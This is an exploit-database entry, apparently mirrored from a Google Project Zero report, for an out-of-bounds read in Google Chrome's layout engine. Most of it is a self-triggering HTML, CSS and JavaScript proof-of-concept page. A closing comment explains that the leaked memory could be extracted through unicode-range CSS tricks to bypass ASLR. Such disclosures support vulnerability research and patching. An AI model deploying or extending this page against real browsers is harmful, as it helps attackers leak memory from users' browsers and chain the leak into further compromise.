Google Chrome - 'layout' Out-of-Bounds Read

Author: Google Security Research
type: dos
platform: multiple
port: 
date_added: 2017-02-22 
date_updated: 2017-02-22 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1024

Chrome bug:

https://bugs.chromium.org/p/chromium/issues/detail?id=671328

PoC:
-->

<style>
content { contain: size layout; }
</style>
<script>
function leak() {
 document.execCommand("selectAll");
 opt.text = "";
}
</script>
<body onload=leak()>
<content>
<select>
<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
</select>
</content>

<!--
Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
-->